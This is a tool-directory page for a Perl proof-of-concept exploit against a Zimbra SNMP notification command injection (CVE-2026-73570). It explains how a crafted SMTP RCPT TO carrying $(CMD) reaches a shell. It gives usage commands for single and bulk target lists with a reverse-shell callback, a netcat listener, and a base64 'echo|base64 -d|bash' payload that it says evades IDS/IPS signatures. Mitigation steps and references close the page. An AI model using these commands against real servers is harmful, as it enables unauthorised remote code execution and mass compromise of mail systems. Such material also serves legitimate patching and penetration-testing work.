Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-73570 — Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc) | Kitploit
Tools/GitHubGitHub/gabrielunknown/cve-2026-73570
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc)

View Repository
11 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-73570 — Zimbra ZCS SNMP Notification RCE exploit (PoC)

Unauthenticated Remote Code Execution via OS Command Injection in the Zimbra Collaboration Suite SNMP notification handler.


Overview

FieldValue
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — Improper Neutralisation of Special Elements used in an OS Command
AffectedZimbra ZCS < 10.1.20 (with zimbra-snmp installed)
Fixed inZCS 10.1.20 — July 2026
CISA KEVAdded 2026-08-21 (FCEB remediation deadline: 2026-08-24)
Auth requiredNone
Execution aszimbra OS user

Root Cause

The optional zimbra-snmp package ships a swatchdog rule that tails /var/log/zimbra.log for lines matching:

root@kitploit:~
Service status change: <NAME> changed from <STATE> to <STATE>

When a match is found, swatchdog passes the captured <NAME> field directly to the SNMP notification shell script without any sanitisation.

An unauthenticated attacker can inject a crafted log entry by sending a specially formed SMTP RCPT TO command. Using an RFC 5321 quoted local-part, shell metacharacters — e.g. $(...) — are embedded inside <NAME> and execute when swatchdog processes the resulting log line.


Pre-conditions

All three conditions must be true on the target for the vulnerability to be exploitable:

  • zimbra-snmp package is installed
  • SNMP notifications are enabled (snmp_notify = true)
  • swatchdog service is running

Attack Flow

root@kitploit:~
Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. Connect to port 25 / 465 / 587.
  2. Send a standard SMTP conversation with the weaponised RCPT TO.
  3. Zimbra logs the address data regardless of accept/reject.
  4. swatchdog matches the log pattern and extracts the injected $(CMD).
  5. The SNMP handler executes CMD as the zimbra OS user.

Exploit

Requirements

root@kitploit:~
cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

Single target

root@kitploit:~
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Target list

root@kitploit:~
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — one host per line, optional :port, lines starting with # are ignored:

root@kitploit:~
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

All options

FlagLongDefaultDescription
-H--host—Single target hostname or IP
-f--file—File containing target list
-p--port587Default SMTP port
-r--rhost—Your IP for the reverse shell callback
-R--rport4444Listener port
-t--timeout15Socket timeout in seconds
-S--ssloffDirect TLS (auto-enabled on port 465)
-v--verboseoffPrint full SMTP dialog
-L--logfile—Write session log to file
-h--help—Show help

Full example

root@kitploit:~
# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Payload technique

The reverse shell command is base64-encoded before injection:

root@kitploit:~
echo <b64>|base64 -d|bash

This prevents IDS/IPS from matching plaintext signatures such as /dev/tcp, bash -i, or nc -e. The encoded blob is injected as $(...) inside the quoted local-part of RCPT TO, triggering execution server-side when swatchdog processes the log entry.


Mitigation

ActionDetail
PatchUpgrade to Zimbra ZCS ≥ 10.1.20
Disable SNMP notifyzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
Remove packageapt remove zimbra-snmp / yum remove zimbra-snmp
Network controlsRestrict inbound SMTP (25/465/587) to trusted relays where operationally feasible

References

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

Disclaimer

This proof-of-concept is released for authorized security testing, academic research, and defensive purposes only.
Running it against systems you do not own or lack explicit written permission to test is illegal.
The author assumes no liability for any misuse or damage caused by this tool.


Download Tool